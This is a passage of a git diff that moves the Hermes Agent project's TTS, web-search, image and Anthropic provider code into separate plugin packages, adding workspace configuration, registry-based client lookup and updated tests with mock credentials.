b/plugins/tts/tests/test_tts_speed.py @@ -28,8 +28,8 @@ class TestEdgeTtsSpeed: mock_edge = MagicMock() mock_edge.Communicate = MagicMock(return_value=mock_comm) - with patch("tools.tts_tool._import_edge_tts", return_value=mock_edge): - from tools.tts_tool import _generate_edge_tts + with patch("hermes_agent_tts.tts_tool._import_edge_tts", return_value=mock_edge): + from hermes_agent_tts.tts_tool import _generate_edge_tts asyncio.run(_generate_edge_tts("Hello", str(tmp_path / "out.mp3"), tts_config)) return mock_edge.Communicate @@ -76,10 +76,10 @@ class TestOpenaiTtsSpeed: mock_client.audio.speech.create.return_value = mock_response mock_cls = MagicMock(return_value=mock_client) - with patch("tools.tts_tool._import_openai_client", return_value=mock_cls), \ - patch("tools.tts_tool._resolve_openai_audio_client_config", + with patch("hermes_agent_tts.tts_tool._import_openai_client", return_value=mock_cls), \ + patch("hermes_agent_tts.tts_tool._resolve_openai_audio_client_config", return_value=("test-key", None)): - from tools.tts_tool import _generate_openai_tts + from hermes_agent_tts.tts_tool import _generate_openai_tts _generate_openai_tts("Hello", str(tmp_path / "out.mp3"), tts_config) return mock_client.audio.speech.create @@ -140,7 +140,7 @@ class TestMinimaxTtsT2aV2: monkeypatch.setenv("MINIMAX_API_KEY", "test-key") resp = response if response is not None else _hex_response() with patch("requests.post", return_value=resp) as mock_post: - from tools.tts_tool import _generate_minimax_tts + from hermes_agent_tts.tts_tool import _generate_minimax_tts output = _generate_minimax_tts("Hello", str(tmp_path / "out.mp3"), tts_config) return mock_post, output @@ -221,7 +221,7 @@ class TestMinimaxTtsLegacyTextToSpeech: mock_response.headers = {"Content-Type": "audio/mpeg"} mock_response.content = b"\x00\x01\x02\x03" with patch("requests.post", return_value=mock_response) as mock_post: - from tools.tts_tool import _generate_minimax_tts + from hermes_agent_tts.tts_tool import _generate_minimax_tts output = _generate_minimax_tts("Hello", str(tmp_path / "out.mp3"), cfg) return mock_post, output diff --git a/tests/tools/test_tts_xai_speech_tags.py b/plugins/tts/tests/test_tts_xai_speech_tags.py similarity index 96% rename from tests/tools/test_tts_xai_speech_tags.py rename to plugins/tts/tests/test_tts_xai_speech_tags.py index 6ab72452ac7..225e2367024 100644 --- a/tests/tools/test_tts_xai_speech_tags.py +++ b/plugins/tts/tests/test_tts_xai_speech_tags.py @@ -2,7 +2,7 @@ from unittest.mock import Mock -from tools.tts_tool import _apply_xai_auto_speech_tags, _generate_xai_tts +from hermes_agent_tts.tts_tool import _apply_xai_auto_speech_tags, _generate_xai_tts def test_apply_xai_auto_speech_tags_adds_light_pause_after_first_sentence(): diff --git a/plugins/video_gen/fal/__init__.py b/plugins/video_gen/fal/__init__.py index 61b36789855..93727cd1ed9 100644 --- a/plugins/video_gen/fal/__init__.py +++ b/plugins/video_gen/fal/__init__.py @@ -291,13 +291,13 @@ _fal_client: Any = None def _load_fal_client() -> Any: """Lazy-load the ``fal_client`` SDK and cache it on this module. - Delegates the actual import to :func:`tools.fal_common.import_fal_client` - so the ``lazy_deps`` ensure-install handling stays in one place. + Delegates the actual import to :func:`hermes_agent_fal.fal_common.import_fal_client` + so the fal-client dep is handled in one place. """ global _fal_client if _fal_client is not None: return _fal_client - from tools.fal_common import import_fal_client + from hermes_agent_fal.fal_common import import_fal_client _fal_client = import_fal_client() return _fal_client diff --git a/plugins/web/exa/provider.py b/plugins/web/exa/provider.py index 0fea6fb5a8b..c21623c7c75 100644 --- a/plugins/web/exa/provider.py +++ b/plugins/web/exa/provider.py @@ -2,7 +2,7 @@ Subclasses :class:`agent.web_search_provider.WebSearchProvider`. Uses the official Exa SDK (``exa-py``) which is lazy-loaded via -:func:`tools.lazy_deps.ensure` so that cold-start CLI users don't pay the + SDK import cost when Exa isn't configured. Config keys this provider responds to:: @@ -59,12 +59,10 @@ def _get_exa_client() -> Any: ) try: - from tools.lazy_deps import ensure as _lazy_ensure - - _lazy_ensure("search.exa", prompt=False) + from exa_py import Exa # noqa: WPS433 — deliberately lazy except ImportError: pass - except Exception as exc: # noqa: BLE001 — lazy_deps surfaces install hints + except Exception as exc: # noqa: BLE001 — SDK not installed raise ImportError(str(exc)) from exa_py import Exa # noqa: WPS433 — deliberately lazy diff --git a/plugins/web/exa/pyproject.toml b/plugins/web/exa/pyproject.toml new file mode 100644 index 00000000000..bd3b0bfb494 --- /dev/null +++ b/plugins/web/exa/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-exa" +version = "1.0.0" +description = "Exa web search and content extraction for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "exa-py==2.10.2", +] + +[project.entry-points."hermes_agent.plugins"] +exa = "hermes_agent_exa:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_exa*"] diff --git a/plugins/web/firecrawl/provider.py b/plugins/web/firecrawl/provider.py index bcc574ffca3..a29d897c79c 100644 --- a/plugins/web/firecrawl/provider.py +++ b/plugins/web/firecrawl/provider.py @@ -78,9 +78,7 @@ def _load_firecrawl_cls() -> type: global _FIRECRAWL_CLS_CACHE if _FIRECRAWL_CLS_CACHE is None: try: - from tools.lazy_deps import ensure as _lazy_ensure - - _lazy_ensure("search.firecrawl", prompt=False) + from firecrawl import Firecrawl as _cls # noqa: WPS433 — deliberately lazy except ImportError: pass except Exception as exc: # noqa: BLE001 — surface install hint diff --git a/plugins/web/firecrawl/pyproject.toml b/plugins/web/firecrawl/pyproject.toml new file mode 100644 index 00000000000..bcd2603457c --- /dev/null +++ b/plugins/web/firecrawl/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-firecrawl" +version = "1.0.0" +description = "Firecrawl web search and content extraction for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "firecrawl-py==4.17.0", +] + +[project.entry-points."hermes_agent.plugins"] +firecrawl = "hermes_agent_firecrawl:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_firecrawl*"] diff --git a/plugins/web/parallel/provider.py b/plugins/web/parallel/provider.py index 38578e6b52c..fcaa5642cd7 100644 --- a/plugins/web/parallel/provider.py +++ b/plugins/web/parallel/provider.py @@ -47,14 +47,12 @@ def _ensure_parallel_sdk_installed() -> None: """Trigger lazy install of the parallel SDK if it isn't present. Mirrors the lazy-deps pattern used by the legacy implementation. - Swallows benign ImportError from the lazy_deps helper itself; if the + Swallows ImportError when the SDK is not installed SDK is genuinely missing the subsequent ``from parallel import ...`` raises ImportError that the caller can handle. """ try: - from tools.lazy_deps import ensure as _lazy_ensure - - _lazy_ensure("search.parallel", prompt=False) + from parallel import Parallel # noqa: WPS433 — deliberately lazy except ImportError: pass except Exception as exc: # noqa: BLE001 — surface install hint as ImportError diff --git a/plugins/web/parallel/pyproject.toml b/plugins/web/parallel/pyproject.toml new file mode 100644 index 00000000000..1aaf71d163c --- /dev/null +++ b/plugins/web/parallel/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-parallel" +version = "1.0.0" +description = "Parallel.ai web search and content extraction for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "parallel-web==0.4.2", +] + +[project.entry-points."hermes_agent.plugins"] +parallel = "hermes_agent_parallel:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_parallel*"] diff --git a/pyproject.toml b/pyproject.toml index ae2472b7a10..6aa6547e9a9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,7 @@ [build-system] -requires = ["setuptools>=61.0"] -build-backend = "setuptools.build_meta" +requires = ["setuptools>=61.0", "tomli_w"] +build-backend = "_build_backend" +backend-path = ["."] [project] name = "hermes-agent" @@ -26,11 +27,10 @@ dependencies = [ # introduce ranges back without a written justification. # # Scope rule: only packages used by EVERY hermes session belong here. - # Anything that's provider-specific (`anthropic`, `firecrawl-py`, - # `exa-py`, `fal-client`, `edge-tts`, `parallel-web`) belongs in an - # extra and gets lazy-installed via `tools/lazy_deps.py` when the - # user picks that backend. Smaller `dependencies` = smaller blast - # radius for the next supply-chain attack. + # Anything that's provider-specific (anthropic, firecrawl-py, exa-py, + # fal-client, edge-tts, parallel-web) belongs in a plugin package + # under plugins/ and is installed via extras. Smaller `dependencies` + # = smaller blast radius for the next supply-chain attack. "openai==2.24.0", "python-dotenv==1.2.2", "fire==0.7.1", @@ -67,42 +67,40 @@ dependencies = [ ] [project.optional-dependencies] -# Native Anthropic provider — only needed when provider=anthropic (not via -# OpenRouter or other aggregators). -anthropic = ["anthropic==0.86.0"] -# Web search backends — each only loaded when the user picks it as their -# search provider (configured via `hermes tools` or config.yaml). -exa = ["exa-py==2.10.2"] -firecrawl = ["firecrawl-py==4.17.0"] -parallel-web = ["parallel-web==0.4.2"] -# Image generation backends -fal = ["fal-client==0.13.1"] -# Edge TTS — default TTS provider but still optional (users can pick -# ElevenLabs / OpenAI / MiniMax instead). -edge-tts = ["edge-tts==7.2.7"] -modal = ["modal==1.3.4"] -daytona = ["daytona==0.155.0"] -vercel = ["vercel==0.5.7"] -hindsight = ["hindsight-client==0.6.1"] +# Plugin extras — each references the corresponding workspace member package. +# In the source repo, uv resolves these as local workspace packages. +# At wheel build time, the custom build backend inlines the actual dep specs +# from each plugin's pyproject.toml so the wheel is self-contained on PyPI. +anthropic = ["hermes-agent-anthropic"] +bedrock = ["hermes-agent-bedrock"] +azure-identity = ["hermes-agent-azure"] +discord = ["hermes-agent-discord"] +exa = ["hermes-agent-exa"] +firecrawl = ["hermes-agent-firecrawl"] +parallel-web = ["hermes-agent-parallel"] +fal = ["hermes-agent-fal"] +edge-tts = ["hermes-agent-tts"] +tts-premium = ["hermes-agent-tts"] +voice = ["hermes-agent-stt"] +modal = ["hermes-agent-modal"] +daytona = ["hermes-agent-daytona"] +vercel = ["hermes-agent-vercel"] +hindsight = ["hermes-agent-hindsight"] +honcho = ["hermes-agent-honcho"] +slack = ["hermes-agent-slack"] +telegram = ["hermes-agent-telegram"] +matrix = ["hermes-agent-matrix"] +dingtalk = ["hermes-agent-dingtalk"] +feishu = ["hermes-agent-feishu"] +dashboard = ["hermes-agent-dashboard"] +# Non-plugin extras (kept as inline dep specs — not workspace members) dev = ["debugpy==1.8.20", "pytest==9.0.2", "pytest-asyncio==1.3.0", "pytest-timeout==2.4.0", "mcp==1.26.0", "ty==0.0.21", "ruff==0.15.10"] -messaging = ["python-telegram-bot[webhooks]==22.6", "discord.py[voice]==2.7.1", "aiohttp==3.13.3", "brotlicffi==1.2.0.1", "slack-bolt==1.27.0", "slack-sdk==3.40.1", "qrcode==7.4.2"] cron = [] # croniter is now a core dependency; this extra kept for back-compat -slack = ["slack-bolt==1.27.0", "slack-sdk==3.40.1", "aiohttp==3.13.3"] -matrix = ["mautrix[encryption]==0.21.0", "Markdown==3.10.2", "aiosqlite==0.22.1", "asyncpg==0.31.0", "aiohttp-socks==0.11.0"] cli = ["simple-term-menu==1.6.6"] -tts-premium = ["elevenlabs==1.59.0"] -voice = [ - # Local STT pulls in wheel-only transitive deps (ctranslate2, onnxruntime), - # so keep it out of the base install for source-build packagers like Homebrew. - "faster-whisper==1.2.1", - "sounddevice==0.5.5", - "numpy==2.4.3", -] pty = [ "ptyprocess==0.7.0; sys_platform != 'win32'", "pywinpty==2.0.15; sys_platform == 'win32'", ] -honcho = ["honcho-ai==2.0.1"] mcp = ["mcp==1.26.0"] homeassistant = ["aiohttp==3.13.3"] sms = ["aiohttp==3.13.3"] @@ -122,37 +120,10 @@ acp = ["agent-client-protocol==0.9.0"] # advisory page, confirm no malicious code review findings). # 2. Add back: mistral = ["mistralai=="] # 3. Re-enable Mistral in: -# - tools/lazy_deps.py (LAZY_DEPS["tts.mistral"], LAZY_DEPS["stt.mistral"]) # - hermes_cli/tools_config.py (un-hide from provider picker) # - hermes_cli/web_server.py (re-add to dashboard STT options) -# - tools/transcription_tools.py / tools/tts_tool.py (drop disabled stubs) # 4. Run `uv lock` to regenerate transitives. # 5. Optionally re-add to [all] only after a few days of clean operation. -bedrock = ["boto3==1.42.89"] -azure-identity = ["azure-identity==1.25.3"] -termux = [ - # Baseline Android / Termux path for reliable fresh installs. - "python-telegram-bot[webhooks]==22.6", - "hermes-agent[cron]", - "hermes-agent[cli]", - "hermes-agent[pty]", - "hermes-agent[mcp]", - "hermes-agent[honcho]", - "hermes-agent[acp]", -] -termux-all = [ - # Best-effort "install all" profile for Termux. Same policy as [all]: - # only includes extras that aren't covered by `tools/lazy_deps.py`. - # Backends like telegram/slack/dingtalk/feishu/honcho lazy-install at - # first use, so they're no longer eager-installed here. - "hermes-agent[termux]", - "hermes-agent[google]", - "hermes-agent[homeassistant]", - "hermes-agent[sms]", - "hermes-agent[web]", -] -dingtalk = ["dingtalk-stream==0.24.3", "alibabacloud-dingtalk==2.2.42", "qrcode==7.4.2"] -feishu = ["lark-oapi==1.5.3", "qrcode==7.4.2"] google = [ # Required by the google-workspace skill (Gmail, Calendar, Drive, Contacts, # Sheets, Docs). Declared here so packagers (Nix, Homebrew) ship them with @@ -169,30 +140,26 @@ youtube = [ # at first invocation with ModuleNotFoundError (issue #22243). "youtube-transcript-api==1.2.4", ] -# `hermes dashboard` (localhost SPA + API). Not in core to keep the default install lean. -web = ["fastapi==0.133.1", "uvicorn[standard]==0.41.0"] +termux = [ + # Baseline Android / Termux path for reliable fresh installs. + "python-telegram-bot[webhooks]==22.6", + "hermes-agent[cron]", + "hermes-agent[cli]", + "hermes-agent[pty]", + "hermes-agent[mcp]", + "hermes-agent[honcho]", + "hermes-agent[acp]", +] +termux-all = [ + "hermes-agent[termux]", + "hermes-agent[google]", + "hermes-agent[homeassistant]", + "hermes-agent[sms]", + "hermes-agent[web]", +] all = [ - # Policy (2026-05-12): `[all]` includes only extras that genuinely - # CAN'T be lazy-installed via `tools/lazy_deps.py` — i.e. things every - # session can use, things needed before the agent loop is alive - # (terminal/CLI), and skill deps that packagers (Nix, AUR, Homebrew) - # need in the wheel. Anything an opt-in backend (provider, search, - # TTS, image, memory, messaging platform, terminal sandbox) needs - # MUST live exclusively in `LAZY_DEPS` and resolve at first use — - # otherwise one quarantined PyPI release breaks every fresh install. - # - # Removed from [all] on 2026-05-12 (covered by lazy-install): - # anthropic, exa, firecrawl, parallel-web, fal, edge-tts, - # modal, daytona, vercel, messaging (telegram/discord/slack), - # matrix, slack, honcho, voice (faster-whisper), - # dingtalk, feishu, bedrock, tts-premium (elevenlabs) - # - # Why: the matrix extra in particular pulls `mautrix[encryption]` - # which depends on `python-olm`. python-olm has Linux-only wheels and - # no native build path on Windows or modern macOS. With matrix in - # [all], `uv sync --locked` on Windows tried to build it from sdist - # and failed on `make`. Lazy-install routes that build to first use, - # where the user is expected to have a toolchain available. + # All plugin extras + non-plugin extras. + # Plugin deps are resolved via workspace members; no inline dep specs here. "hermes-agent[cron]", "hermes-agent[cli]", "hermes-agent[dev]", @@ -204,6 +171,27 @@ all = [ "hermes-agent[google]", "hermes-agent[web]", "hermes-agent[youtube]", + "hermes-agent[anthropic]", + "hermes-agent[bedrock]", + "hermes-agent[azure-identity]", + "hermes-agent[discord]", + "hermes-agent[exa]", + "hermes-agent[firecrawl]", + "hermes-agent[parallel-web]", + "hermes-agent[fal]", + "hermes-agent[edge-tts]", + "hermes-agent[tts-premium]", + "hermes-agent[voice]", + "hermes-agent[modal]", + "hermes-agent[daytona]", + "hermes-agent[vercel]", + "hermes-agent[hindsight]", + "hermes-agent[honcho]", + "hermes-agent[slack]", + "hermes-agent[telegram]", + "hermes-agent[dingtalk]", + "hermes-agent[feishu]", + "hermes-agent[dashboard]", ] [project.scripts] @@ -226,8 +214,57 @@ plugins = [ [tool.setuptools.packages.find] include = ["agent", "agent.*", "tools", "tools.*", "hermes_cli", "gateway", "gateway.*", "tui_gateway", "tui_gateway.*", "cron", "acp_adapter", "plugins", "plugins.*", "providers", "providers.*"] +[tool.uv.workspace] +members = [ + "plugins/model-providers/anthropic", + "plugins/model-providers/bedrock", + "plugins/model-providers/azure-foundry", + "plugins/platforms/telegram", + "plugins/platforms/slack", + "plugins/platforms/dingtalk", + "plugins/platforms/feishu", + "plugins/platforms/matrix", + "plugins/platforms/discord", + "plugins/web/exa", + "plugins/web/firecrawl", + "plugins/web/parallel", + "plugins/memory/honcho", + "plugins/memory/hindsight", + "plugins/tts", + "plugins/stt", + "plugins/image_gen/fal_pkg", + "plugins/terminals/daytona", + "plugins/terminals/vercel", + "plugins/terminals/modal", + "plugins/dashboard", +] + +[tool.uv.sources] +hermes-agent = { workspace = true } +hermes-agent-anthropic = { workspace = true } +hermes-agent-bedrock = { workspace = true } +hermes-agent-azure = { workspace = true } +hermes-agent-telegram = { workspace = true } +hermes-agent-slack = { workspace = true } +hermes-agent-dingtalk = { workspace = true } +hermes-agent-feishu = { workspace = true } +hermes-agent-matrix = { workspace = true } +hermes-agent-discord = { workspace = true } +hermes-agent-exa = { workspace = true } +hermes-agent-firecrawl = { workspace = true } +hermes-agent-parallel = { workspace = true } +hermes-agent-honcho = { workspace = true } +hermes-agent-hindsight = { workspace = true } +hermes-agent-tts = { workspace = true } +hermes-agent-stt = { workspace = true } +hermes-agent-fal = { workspace = true } +hermes-agent-daytona = { workspace = true } +hermes-agent-vercel = { workspace = true } +hermes-agent-modal = { workspace = true } +hermes-agent-dashboard = { workspace = true } + [tool.pytest.ini_options] -testpaths = ["tests"] +testpaths = ["tests", "plugins"] markers = [ "integration: marks tests requiring external services (API keys, Modal, etc.)", "real_concurrent_gate: opt out of the autouse stub that disables _detect_concurrent_hermes_instances", diff --git a/run_agent.py b/run_agent.py index d2d65314f75..d9444720392 100644 --- a/run_agent.py +++ b/run_agent.py @@ -2903,7 +2903,12 @@ class AIAgent: return False try: - from agent.anthropic_adapter import resolve_anthropic_token, build_anthropic_client + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + resolve_anthropic_token = _anthropic.get("resolve_anthropic_token") + build_anthropic_client = _anthropic.get("build_anthropic_client") + if resolve_anthropic_token is None or build_anthropic_client is None: + raise ImportError("anthropic plugin not registered") new_token = resolve_anthropic_token() except Exception as exc: @@ -2936,8 +2941,9 @@ class AIAgent: # Only treat as OAuth on native Anthropic; third-party endpoints using # the Anthropic protocol must not trip OAuth paths (#1739 & third-party # identity-injection guard). - from agent.anthropic_adapter import _is_oauth_token - self._is_anthropic_oauth = _is_oauth_token(new_token) if self.provider == "anthropic" else False + _anthropic = registries.get_provider_namespace("anthropic") + _is_oauth_token = _anthropic.get("_is_oauth_token") + self._is_anthropic_oauth = _is_oauth_token(new_token) if (_is_oauth_token is not None and self.provider == "anthropic") else False return True def _apply_client_headers_for_base_url(self, base_url: str) -> None: @@ -2988,7 +2994,12 @@ class AIAgent: runtime_base = getattr(entry, "runtime_base_url", None) or getattr(entry, "base_url", None) or self.base_url if self.api_mode == "anthropic_messages": - from agent.anthropic_adapter import build_anthropic_client, _is_oauth_token + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + build_anthropic_client = _anthropic.get("build_anthropic_client") + _is_oauth_token = _anthropic.get("_is_oauth_token") + if build_anthropic_client is None or _is_oauth_token is None: + raise ImportError("anthropic plugin not registered") try: self._anthropic_client.close() @@ -3057,13 +3068,19 @@ class AIAgent: path when an OAuth subscription rejects the 1M-context beta) so the rebuilt client carries the reduced beta set. """ + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") _drop_1m = bool(getattr(self, "_oauth_1m_beta_disabled", False)) if getattr(self, "provider", None) == "bedrock": - from agent.anthropic_adapter import build_anthropic_bedrock_client + build_anthropic_bedrock_client = _anthropic.get("build_anthropic_bedrock_client") + if build_anthropic_bedrock_client is None: + raise ImportError("anthropic plugin not registered") region = getattr(self, "_bedrock_region", "us-east-1") or "us-east-1" self._anthropic_client = build_anthropic_bedrock_client(region) else: - from agent.anthropic_adapter import build_anthropic_client + build_anthropic_client = _anthropic.get("build_anthropic_client") + if build_anthropic_client is None: + raise ImportError("anthropic plugin not registered") self._anthropic_client = build_anthropic_client( self._anthropic_api_key, getattr(self, "_anthropic_base_url", None), diff --git a/scripts/run_tests.sh b/scripts/run_tests.sh index 6c796842b67..d93ce8bd6df 100755 --- a/scripts/run_tests.sh +++ b/scripts/run_tests.sh @@ -24,7 +24,7 @@ # # Everything after a literal '--' is passed through to each per-file # pytest invocation. Positional path arguments before '--' override -# the default discovery root (tests/). +# the default discovery root (tests/ + plugins/). set -euo pipefail diff --git a/scripts/run_tests_parallel.py b/scripts/run_tests_parallel.py index 7fe0b57947a..76f1c775283 100755 --- a/scripts/run_tests_parallel.py +++ b/scripts/run_tests_parallel.py @@ -30,7 +30,7 @@ Usage: Environment: HERMES_TEST_WORKERS Override worker count (default: os.cpu_count()) - HERMES_TEST_PATHS Override discovery roots (colon-sep, default: 'tests') + HERMES_TEST_PATHS Override discovery roots (colon-sep, default: 'tests:plugins') Exit code: 0 if every file's pytest exited 0; 1 otherwise. """ @@ -50,7 +50,7 @@ from typing import Dict, List, Tuple # Default test discovery roots. -_DEFAULT_ROOTS = ["tests"] +_DEFAULT_ROOTS = ["tests", "plugins"] # Directories to skip during discovery — these suites require real # external services (a model gateway, a docker daemon with a prebuilt @@ -286,6 +286,7 @@ def _run_one_file( stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, + env={**os.environ, "HERMES_PARALLEL_RUNNER": "1"}, # POSIX: place the child at the head of its own process group so # _kill_tree can SIGKILL the group atomically. # Windows: this maps to CREATE_NEW_PROCESS_GROUP in CPython 3.12+; diff --git a/tests/agent/conftest.py b/tests/agent/conftest.py new file mode 100644 index 00000000000..efaada6374a --- /dev/null +++ b/tests/agent/conftest.py @@ -0,0 +1,123 @@ +"""Agent test conftest — pre-populates the registry with safe mock stubs. + +Unit tests in tests/agent/ import core modules directly without going through +the normal startup sequence (PluginManager.discover_and_load()). Any code path +that calls registries.get_provider_service("anthropic", ...) would return None +and either crash or silently degrade. + +This conftest installs a minimal mock anthropic namespace in the registry before +each test, so that: + - _try_anthropic(), _maybe_wrap_anthropic(), etc. don't crash + - Tests that want to verify specific behaviour can override individual keys + with their own patch.dict / mock_anthropic_provider context manager + - The anthropic SDK never actually needs to be installed in the test env + +NOTE: The autouse fixture uses `autouse=True` with session scope so it only +runs once per session and doesn't slow down individual tests. +""" + +from contextlib import contextmanager +from unittest.mock import MagicMock, patch + +import pytest + +__all__ = ["mock_anthropic_provider"] + + +def _make_base_anthropic_namespace() -> dict: + """Build a minimal anthropic service namespace with safe mock stubs.""" + mock_client = MagicMock(name="anthropic_client") + mock_client.base_url = "https://api.anthropic.com/v1" + mock_client.api_key = "sk-ant-mock" + + def _resolve_token(): + """Return token from env vars if set — mimics the real resolve_anthropic_token.""" + import os + return (os.environ.get("ANTHROPIC_TOKEN") + or os.environ.get("ANTHROPIC_API_KEY")) + + def _build_kwargs_passthrough(model=None, messages=None, tools=None, + max_tokens=None, **kwargs): + """Mock build_anthropic_kwargs that passes through the key fields.""" + result = {} + if model is not None: + result["model"] = model + if messages is not None: + result["messages"] = messages + if tools: + result["tools"] = tools + if max_tokens is not None: + result["max_tokens"] = max_tokens + return result + + def _convert_tools(tools): + """Passthrough mock for convert_tools_to_anthropic.""" + result = [] + for t in (tools or []): + fn = t.get("function", {}) + result.append({ + "name": fn.get("name", ""), + "description": fn.get("description", ""), + "input_schema": fn.get("parameters", {}), + }) + return result + + def _convert_messages(messages, **kwargs): + """Passthrough mock for convert_messages_to_anthropic.""" + system = None + msgs = [] + for m in (messages or []): + if m.get("role") == "system": + system = m.get("content") + else: + msgs.append(m) + return system, msgs + + return { + "build_anthropic_client": MagicMock(return_value=mock_client), + "build_anthropic_kwargs": _build_kwargs_passthrough, + "convert_tools_to_anthropic": _convert_tools, + "convert_messages_to_anthropic": _convert_messages, + "resolve_anthropic_token": _resolve_token, + "_is_oauth_token": lambda k: bool(k) and not (k or "").startswith("sk-ant-api"), + "is_claude_code_token_valid": MagicMock(return_value=False), + "read_claude_code_credentials": MagicMock(return_value=None), + "write_claude_code_credentials": MagicMock(), + "refresh_oauth_token": MagicMock(return_value=None), + "run_hermes_oauth_login_pure": MagicMock(return_value=("mock-token", None)), + "_HERMES_OAUTH_FILE": MagicMock(), + "_to_plain_data": MagicMock(return_value=None), + "_anthropic_sdk": None, # SDK not installed in test env + } + + +@contextmanager +def mock_anthropic_provider(**overrides): + """Patch the anthropic registry namespace. Use in core tests instead of + patching hermes_agent_anthropic.adapter.* directly. + + Usage: + with mock_anthropic_provider(build_anthropic_client=my_mock): + result = _try_anthropic() + """ + from agent.plugin_registries import registries + base = _make_base_anthropic_namespace() + base.update(overrides) + with patch.dict(registries._provider_services, {"anthropic": base}): + yield base + + +@pytest.fixture(autouse=True) +def _seed_anthropic_registry(): + """Install mock anthropic namespace before each test, restore after. + + Uses patch.dict so it's guaranteed to restore even when plugin tests + in other directories (which use the real plugin) run before us in the + same process. Function-scoped (not session) so it re-seeds after each + plugin test that overwrites the registry. + """ + from unittest.mock import patch + from agent.plugin_registries import registries + ns = _make_base_anthropic_namespace() + with patch.dict(registries._provider_services, {"anthropic": ns}): + yield diff --git a/tests/agent/test_auxiliary_client.py b/tests/agent/test_auxiliary_client.py index 20c30c7ea9e..8e16bc5ba84 100644 --- a/tests/agent/test_auxiliary_client.py +++ b/tests/agent/test_auxiliary_client.py @@ -12,7 +12,6 @@ import pytest from agent.auxiliary_client import ( get_text_auxiliary_client, - get_available_vision_backends, resolve_vision_provider_client, resolve_provider_client, auxiliary_max_tokens_param, @@ -303,61 +302,6 @@ class TestResolveXaiOAuthForAux: ) -class TestAnthropicOAuthFlag: - """Test that OAuth tokens get is_oauth=True in auxiliary Anthropic client.""" - - def test_oauth_token_sets_flag(self, monkeypatch): - """OAuth tokens (sk-ant-oat01-*) should create client with is_oauth=True.""" - monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant-oat01-test-token") - with patch("agent.anthropic_adapter.build_anthropic_client") as mock_build: - mock_build.return_value = MagicMock() - from agent.auxiliary_client import _try_anthropic, AnthropicAuxiliaryClient - client, model = _try_anthropic() - assert client is not None - assert isinstance(client, AnthropicAuxiliaryClient) - # The adapter inside should have is_oauth=True - adapter = client.chat.completions - assert adapter._is_oauth is True - - def test_api_key_no_oauth_flag(self, monkeypatch): - """Regular API keys (sk-ant-api-*) should create client with is_oauth=False.""" - with patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="sk-ant-api03-testkey1234"), \ - patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, \ - patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): - mock_build.return_value = MagicMock() - from agent.auxiliary_client import _try_anthropic, AnthropicAuxiliaryClient - client, model = _try_anthropic() - assert client is not None - assert isinstance(client, AnthropicAuxiliaryClient) - adapter = client.chat.completions - assert adapter._is_oauth is False - - def test_pool_entry_takes_priority_over_legacy_resolution(self): - class _Entry: - access_token = "sk-ant-oat01-pooled" - base_url = "https://api.anthropic.com" - - class _Pool: - def has_credentials(self): - return True - - def select(self): - return _Entry() - - with ( - patch("agent.auxiliary_client.load_pool", return_value=_Pool()), - patch("agent.anthropic_adapter.resolve_anthropic_token", side_effect=AssertionError("legacy path should not run")), - patch("agent.anthropic_adapter.build_anthropic_client", return_value=MagicMock()) as mock_build, - ): - from agent.auxiliary_client import _try_anthropic - - client, model = _try_anthropic() - - assert client is not None - assert model == "claude-haiku-4-5-20251001" - assert mock_build.call_args.args[0] == "sk-ant-oat01-pooled" - - class TestBuildCodexClient: def test_pool_without_selected_entry_falls_back_to_auth_store(self): with ( @@ -518,6 +462,7 @@ class TestResolveProviderClientUniversalModelFallback: expensive chat model. Step 2 of the universal fallback chain. """ from agent.auxiliary_client import resolve_provider_client + from agent.plugin_registries import registries with ( patch( @@ -530,14 +475,12 @@ class TestResolveProviderClientUniversalModelFallback: "agent.auxiliary_client._get_aux_model_for_provider", return_value="claude-haiku-4-5-20251001", ), - patch( - "agent.anthropic_adapter.build_anthropic_client", - return_value=MagicMock(), - ), - patch( - "agent.anthropic_adapter.resolve_anthropic_token", - return_value="sk-ant-***", - ), + patch.dict(registries._provider_services, {"anthropic": { + "build_anthropic_client": MagicMock(return_value=MagicMock()), + "resolve_anthropic_token": MagicMock(return_value="sk-ant-***"), + "_is_oauth_token": lambda k: False, + "build_anthropic_kwargs": MagicMock(return_value={}), + }}), patch( "agent.auxiliary_client._read_nous_auth", return_value=None ), @@ -579,194 +522,19 @@ class TestResolveProviderClientUniversalModelFallback: assert mock_build.call_args.args[0] == "grok-4.20-multi-agent" -class TestExpiredCodexFallback: - """Test that expired Codex tokens don't block the auto chain.""" - - def test_expired_codex_falls_through_to_next(self, tmp_path, monkeypatch): - """When Codex token is expired, auto chain should skip it and try next provider.""" - import base64 - import time as _time - - # Expired Codex JWT - header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() - payload_data = json.dumps({"exp": int(_time.time()) - 3600}).encode() - payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode() - expired_jwt = f"{header}.{payload}.fakesig" - - hermes_home = tmp_path / "hermes" - hermes_home.mkdir(parents=True, exist_ok=True) - (hermes_home / "auth.json").write_text(json.dumps({ - "version": 1, - "providers": { - "openai-codex": { - "tokens": {"access_token": expired_jwt, "refresh_token": "r"}, - }, - }, - })) - monkeypatch.setenv("HERMES_HOME", str(hermes_home)) - - # Set up Anthropic as fallback - monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant-oat01-test-fallback") - with 